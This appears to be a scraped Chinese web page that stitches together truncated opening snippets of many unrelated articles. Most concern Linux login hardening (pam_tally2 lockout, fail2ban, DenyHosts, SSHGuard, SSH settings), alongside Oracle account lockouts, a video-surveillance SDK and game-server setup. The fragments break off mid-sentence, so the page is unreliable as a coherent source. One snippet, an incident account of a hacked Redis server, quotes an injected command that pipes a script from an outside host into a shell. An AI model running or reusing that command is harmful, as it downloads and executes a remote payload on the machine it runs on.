在 Arch Linux 的默认配置下，用户在登录系统时如果在 15 分钟内输错密码 3 次，则会被锁定 10 分钟。对于个人电脑来说，只有 3 次输错机会有点少，因为有时候总是会突然多按或少按一个键，或者由于 Capslock 开启的缘故，导致连续几次都出错，很容易被锁定。而一旦被锁定，就要等 10 分钟，除非重启，对于个人用户来说实在太长了。
上节我们介绍了“Linux安全加固10条建议”本节我们继续看Windows服务器安全加过10条建议。
pam_tally2模块可于用于在对系统进行一定次数的失败ssh登录尝试后锁定用户
注：本文上半部和等保联系不是很密切，还是说一了些linux里细节一些的东西，所以有可能会浪费你生命中的好几分钟，同时我使用的是centos6。
CVM云服务器通过VNC输入正确的密码后无法正常登录，报错Module is unknown
当我们使用 useradd、usermod 命令创建或维护用户账号时，确保始终应用强密码策略。例如，一个好的密码至少包括8个字符，包含了字母、数字以及特殊字符串、大小写等。使用诸如“John the ripper”这样的工具来查找弱口令用户，使用 pam_cracklib.so 来增强密码策略。
Linux 是一个开放式系统，可以在网络上找到许多现成的程序和工具，这既方便了用户，也方便了黑客，因为他们也能很容易地找到程序和工具来潜入 Linux 系统，或者盗取 Linux 系统上的重要信息。不过，只要我们仔细地设定 Linux 的各种系统功能，并且加上必要的安全措施，就能让黑客们无机可乘。
本文为joshua317原创文章,转载请注明：转载自joshua317博客 https://www.joshua317.com/article/122
◆ 概述 SSHGuard是一个入侵防御实用程序，它可以解析日志并使用系统防火墙自动阻止行为不端的 IP 地址（或其子网）。最初旨在为 OpenSSH 服务提供额外的保护层，SSHGuard 还保护范围广泛的服务，例如 Vsftpd 和 Postfix。它可以识别多种日志格式，包括 Syslog、Syslog-ng 和原始日志文件。SSHGuard 与 Fail2ban 非常相似，只是它是用 C 编写的（Fail2ban 是用 Python 编写的），更轻巧，提供的功能更少。 在本指南中，我们将演示如何安装
前言 日志对于安全来说，非常重要，它记录了系统每天发生的各种各样的事情，你可以通过它来检查错误发生的原因，或者受到攻击时攻击者留下的痕迹。 日志主要的功能有：审计和监测。它还可以实时的监测系统状态，监测和追踪侵入者等等。 那么日志存放的位置在哪里呢？ /var/log 常用日志文件 ⊙btmp 记录登陆失败的信息 ⊙lastlog 记录最近几次成功登录的事件和最后一次不成功的登录 ⊙messages 从syslog中记录信息(有的链接到syslog文件) ⊙utmp 记录当前登录的每个用户 ⊙wtmp 系
针对linux上的用户，如果用户连续3次登录失败，就锁定该用户，几分钟后该用户再自动解锁。Linux有一个pam_tally2.so的PAM模块，来限定用户的登录失败次数，如果次数达到设置的阈值，则锁定用户。
在当今数字化世界中，网络安全成为了一个极其重要的话题。Linux 作为一种广泛使用的操作系统，也面临着各种网络攻击的风险，包括暴力攻击、密码破解和恶意登录等。为了保护 Linux 系统的安全，我们可以使用 Fail2ban 这样的工具来防止恶意用户的暴力攻击。
在linux系统中，用户多次登录失败会被锁定，一段时间内将不能再登录系统，这是一般会用到Pam_Tally2进行账户解锁。
在Linux系统中，用户多次登录失败会被锁定，一段时间内将不能再登录系统，这是一般会用到Pam_Tally2进行账户解锁。
最近主机受到攻击，原因可能是redis集群没有设置密码（因为快过期了，不想搞得太复杂就没设），然后被人家搞事情了，就被人一把set了些执行脚本，形如curl -fsSL http://d.powerofwish.com/pm.sh | sh,真的是猥琐啊，我登上主机一看，简直是猥琐至极，不能忍了啊。
DenyHosts 是一个开源且免费的基于日志的入侵防御安全程序. 它旨在通过阻止发起方来监视和分析 SSH 服务器日志中的无效登录尝试、基于字典的攻击和暴力攻击。IP 通过添加条目到地址 /etc/hosts.deny 服务器上的文件，并防止 IP 地址进行任何进一步的此类登录尝试。 如何在Linux中安装DenyHosts 默认情况下 DenyHosts Linux 系统中不包含该工具,使用以下yum 命令安装软件包。 # yum install -y denyhosts denyhosts配置文件说
作为测评机构一定会知道每年会举行“能力验证”活动，申请认可和获准认可的合格评定机构通过参加能力验证活动（包括 CNAS 组织实施或承认的能力验证计划、测评机构间比对和测量审核）证明其技术能力。之前的线上会议也表明了对测评机构能力建设方面的意见，在会议中说到机构的最高水平不代表机构的真实测评水平，因为机构派来参加能力验证的一般都是经验老道的测评师，所以表面上看起来没啥问题，真实测评中可能会存在很多问题。另外也采取了措施，比如相同人员相隔一年内无法参加能力验证，而且后续还有可能从“团队模式”的情况转化为“单人模式”。
在Linux中执行有些程序时，这些程序在执行前首先要对启动它的用户进行认证，符合一定的要求之后才允许执行，例如login, su等。在Linux中进行身份或是状态的验证程序是由PAM来进行的，PAM（Pluggable Authentication Modules）可动态加载验证模块，因为可以按需要动态的对验证的内容进行变更，所以可以大大提高验证的灵活性。 一、PAM模块介绍 Linux-PAM（即linux可插入认证模块）是一套共享库,使本地系统管理员可以随意选择程序的认证方式。换句话说，不用(重新编写)
日志在排查文件的时候至关重要，因为Linux系统在运行的程序通常会把一些系统消息和错误消息写入对应的系统日志中。若是一旦出现问题，用户就可以通过查看日志来迅速定位，及时解决故障，所以学会查看日志文件也是在日常维护中很重要的操作。
那么，以后每次在电脑上使用 SSH 论证的时候，都会提示你输入秘钥密码，非常麻烦。
今天到一个朋友的创业公司进行技术交流，交流过程中，朋友提到他在阿里云上买的linux服务器上ssh服务经常被人暴力破解。我感觉很奇怪，一般来说ssh服务经过简单设置是很安全的，怎么可能会出现这种情况呢。进一步交流才知道他们购买linux服务器后，连一些基本的安全措施都没做。原来并不是所有人都知道放在公网上的服务器是要进行简单的安全加固的。下面把我这些年使用linux时对ssh服务的安全加固步骤写下来，以便其它人参考。（以下的命令脚本基于CentOS6，其它发行版类似） 使用普通用户密钥文件登录 直接使用ro
1）禁止系统响应任何从外部/内部来的ping请求攻击者一般首先通过ping命令检测此主机或者IP是否处于活动状态 如果能够ping通 某个主机或者IP，那么攻击者就认为此系统处于活动状态，继而进行攻击或破坏。如果没有人能ping通机器并收到响应，那么就可以大大增强服务器的安全性， linux下可以执行如下设置，禁止ping请求： [root@localhost ~]# echo "1"> /proc/sys/net/ipv4/icmp_echo_ignore_all
通常，我们拿到一台服务器后使用338端口远程桌面登录windows系统，使用22端口ssh登录linux系统。如果隔一段时间稍微留意一下爆破日志，通常能够看到来自全球各地的ip在爆破我们的登录账号密码。
在视频监控行业领域，海康当之无愧是老大，稳坐第一的宝座很多年了，近期需要将视频监控系统改成采用海康sdk的内核，于是特意去查阅了sdk的使用手册，sdk相关的文档和文件可以直接官网下载到，而且是经常更新的，目前提供了windows和linux上的，win上的sdk还是更新比较快而且完整的，但是在linux上的就不得不吐槽下了，很旧很旧的版本，不要看打包文件很新，其实里面的内容是很老的，不知道为啥官方不也同步更新linux上的sdk，也许现在linux上的需求还不是很多吧，但是随着国产化的大力推进，估计不久的将来linux上的也会慢慢的完善起来的，说不定官方早就有了此计划，还有一种个人的猜测是linux上的开发包估计官方自己内部用的新的，可能打算自己做linux上的各种客户端吧。
VM虚拟机（VMware Workstation）是Windows和Linux平台上强大的本地桌面虚拟化平台，可构建、运行或支持任何类型的应用。
文章更新: 20161025 初次成文 20170422 微小修正 问题提出: 因为小苏在很久之前就听说在安卓上可以跑Linux系统，期间各种工具也试了很多(包括这个)，但是要么是使用方法不得当，要么是和ROM不兼容，总之是一直都没成功，所以这类软件总是下了用，用了卸，想起来的时候再下了用...无限循环。直到之前，看了一篇简单的关于Linux Deploy的使用教程之后茅塞顿开，在Android上成功跑起了Ubuntu，所以写这篇文章来记录一下。 解决方案: Linux Deploy
宝塔 Linux 面板（BT-Panel）是一款简单好用的服务器运维面板，支持一键部署 LAMP、LNMP、集群、监控、网站、FTP、数据库、JAVA 等100多项服务器管理功能，能够极大提升运维管理效率。本文档介绍如何使用宝塔 Linux 面板快速迁移其他云平台的云服务器中的网站数据至腾讯云轻量应用服务器中。
在 linux 系统管理中，设置免密码登录，进行机器的批量管理是最常用的一个方法。比如针对几十甚至上百台线上机器，通常我们会设置一台“发布机”作为中央控制机对其它线上机器免密码登录，然后进行软件、配置文件的分发、更新、部署。当然了，针对上面的问题，解决方案并非最优且唯一，比如你也可以用 expect 模拟自动输入来完成自动登录验证这一过程，或者用现在一些开源的软件自动化配置和部署工具，比如 Puppet，但这都不在本文的讨论范畴，今天咱们要说的就是这种最原始、最有效、最直接的方式：免密码登录。 （1）问题：
首先sshd服务可以说是linux服务器一个至关重要的服务，如果被暴力破解成功，就直接可以拿到服务器的控制权了，在这里有两种解决方案，第一种是直接生成秘钥然后配置ssh服务无密码登录，然后在配置文件中禁用用户使用密码登录，这种方案相对来说比较安全，但配置有点麻烦啊......
很多用户日常都是使用windows操作系统，Linux操作系统接触比较少；尤其是非图形界面的Linux。往往都是看着UP主的视频教程一步步设置，而这些教程为了省事，往往是直接使用root用户登录、端口全开、防火墙彻底删除！这种操作很大概率是五分钟变“肉鸡”....
想要部署属于自己的幻兽帕鲁服务器（Dedicated Server），您首先需要拥有一台服务器，服务器是幻兽帕鲁运行的基础。部署完成后，您和您的朋友便可以登入专属的游戏服进行体验。使用云服务器搭建幻兽帕鲁服务器，便可以让您与您的朋友在一个相对独立且私密的空间中进行游戏，确保获得更加畅快的游戏体验。
相关博客：VMware Workstation 安装CentOS Linux操作系统 利用远程控制软件FinalShell远程连接虚拟机上的Linux系统（Windows）
如果您希望保护您的Ubuntu服务器，您应该做的第一件事就是安装fail2ban入侵检测系统。 fail2ban所做的是监视特定日志文件（在/var/log中），以查找失败的登录尝试或服务器上的自动攻击。 当从IP地址发现尝试的泄密时，fail2ban然后阻止IP地址（通过向iptables添加新链）从获得进入（或试图进一步攻击）服务器。
官方有提供一个 Server 脚本，下载并运行即可，但是那是不带 MOD 的，如果想要带 MOD 玩，就必须自己动手操作
本文和等保联系不是很密切，还是说一了些linux里细节一些的东西，所以有可能会浪费你生命中的好几分钟，同时我使用的是centos6。
[TOC] 0x00 前言介绍 Q:什么是PAM? 答:PAM 的全称为可插拔认证模块(Pluggable Authentication Modules:简称 PAM /pæm/ ),Linux中的一
1、Linux SSH 安全策略一：关闭无关端口 网络上被攻陷的大多数主机，是黑客用扫描工具大范围进行扫描而被瞄准上的。所以，为了避免被扫描到，除了必要的端口，例如 Web、 FTP、SSH 等，其他的都应关闭。值得一提的是，我强烈建议关闭 icmp 端口，并设置规则，丢弃 icmp 包。这样别人 Ping 不到你的服务 器，威胁就自然减小大半了。丢弃 icmp 包可在 iptables 中， 加入下面这样一条： -A INPUT -p icmp -j DROP 2、Linux SSH 安全策略二：更改 S
今天同事反映一个问题，某个测试库修改了密码，并改了相关应用使用的密码后，仍出现一会账户就被锁住，报ORA-28000: the account is locked的错误。 检查过程： 1. 查看资源限制生效参数 SQL> show parameter resource NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ resource_limit boolean FALSE FALSE表示未启动资源限制。 2. 查看该用户所用的PROFILE SQL> select resource_name, limit from dba_profiles where profile='DEFAULT'; RESOURCE_NAME LIMIT -------------------------------- ---------------------------------------- COMPOSITE_LIMIT UNLIMITED SESSIONS_PER_USER UNLIMITED CPU_PER_SESSION UNLIMITED CPU_PER_CALL UNLIMITED LOGICAL_READS_PER_SESSION UNLIMITED LOGICAL_READS_PER_CALL UNLIMITED IDLE_TIME UNLIMITED CONNECT_TIME UNLIMITED PRIVATE_SGA UNLIMITED FAILED_LOGIN_ATTEMPTS 10 PASSWORD_LIFE_TIME UNLIMITED PASSWORD_REUSE_TIME UNLIMITED PASSWORD_REUSE_MAX UNLIMITED PASSWORD_VERIFY_FUNCTION NULL PASSWORD_LOCK_TIME 1 PASSWORD_GRACE_TIME 7 其中FAILED_LOGIN_ATTEMPTS表示连续登陆失败的次数，这里表示连续登陆10次失败则锁定用户。 3. 解除用户锁定ALTER USER pss3 ACCOUNT UNLOCK;后观察现象 SQL> select name, lcount from user$ where name='PSS3'; NAME LCOUNT ------------------------------ ---------- PSS3 10 不到一分钟，登陆失败次数就到10次了。 初步结论： 可能有应用仍使用旧的密码登陆，登陆失败后重复尝试，直到10次为止。 但问题就来了： 1. FAILED_LOGIN_ATTEMPTS设置为10次，但未启动resource_limit，为什么还受到10次的限制呢？ 2. 怎么知道还有哪些应用由于未修改密码导致ORA错误呢？ 问题1：FAILED_LOGIN_ATTEMPTS设置为10次，但未启动resource_limit，为什么还受到10次的限制呢？ 这篇MOS文章160528.1(Profile Limits (Resource Parameter(s)) Are Not Enforced / Do Not Work)文章说了一些： After creating a new profile or altering an old one to limit the following profile resources there is no change: SESSIONS_PER_USER CPU_PER_SESSION CPU_PER_CALL CONNECT_TIME IDLE_TIME L
之前在通过Filezilla往虚拟机或者服务器上传送文件的时候都是十分顺利的，不过最近老是遇到“错误:Network error: Connection refused”，如下图所示。
Oracle密码文件的作用主要是进行SYSDBA和SYSOPER权限的身份认证。密码文件存放着被授予SYSDBA或SYSOPER权限的用户的用户名和密码。它是一个加密的文件，用户不能修改这个文件，但是可以使用strings命令看到密码的HASH值，如下所示：
上一章我们讲了NFS，可实现Linux间的文件共享，我们知道windows之间也有共享的功能，但是不同操作系统之间的共享，如：Linux与windows之间互访共享资源就需要samba服务来实现了。
1. 修改ssh默认连接22端口 和 添加防火墙firewalld 通过端口 步骤：
服务器安装Linux系统，可以使用SecureCRT远程输入命令管理，但使用过程中有时候会出现连接失败的故障，要怎么办呢？亚洲云小编在这里总结几个常见故障以及解决办法。 1、网络链接 当主机使用无线网时，网络连接设置为桥接模式 当主机使用以太网时，网络连接设置为NAT模式 最重要的是开启VM的网络服务 windows的服务 services.msc中打开 VMware NAT Service 2、Linux网络配置 可以使用固定IP，此时设置的IP要与Windows主机的IP在同一网关下 sudo vi /etc/network/interfaces 内容如下： auto lo iface lo inet loopback auto eth0 iface eth0 inet static address 192.168.255.101 netmask 255.255.255.0 gateway 192.168.255.1 也可以使用自动获取IP 直接删掉刚才vi编辑的文件最后的部分，只留前两句 auto lo iface lo inet loopback 然后重启网络 sudo /etc/init.d/networking restart 使用 ifconfig查看网络IP，是否是同一网关的，使用ping 主机IP是否通路 3、Linux启动SSH服务 如果Linux没有启动这个服务就算你在SecureCRT上设置完成也无法链接成功，因为Linux还没有支持 先使用sudo apt-get update 指令更新一下源然后使用 sudo apt-get install openssh-server //安装SSH服务 安装SSH服务，查看服务是否开启 sudo ps -e | grep ssh //查看SSH服务 sudo service ssh start //启动SSH服务 如图为已经开启了SSH服务的打印 4、设置SecureCRT 在以上流程做完后设置基本不会遇到问题，如果遇到问题看看前边的步骤是否完成 在SecureCRT上新建一个快速链接，选择SSH 然后输入登录名和密码，然后会出现一个接受什么授权，就算是创建成功了 总结：网络配置时，注意IP的设定以及设定完后重启网络；注意SSH服务，如果Linux上SSH服务没有开启，SecureCRT会出现链接不成功，且窗口打印出一串方框，需要联系主机商解决。
系统日志是记录系统中硬件、软件和系统问题的信息，同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因，或者寻找受到攻击时攻击者留下的痕迹，下面为大家分享一下Linux系统下如何通过该日志来排错。
瓦利[1]是一款开源的 DevOps 代码自动部署工具，目前官方有两个新旧版本，分别是基于 PHP2 和 Python。
Note： 更改ssh相关配置后需要重启sshd服务 systemctl restart sshd
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
腾讯会议
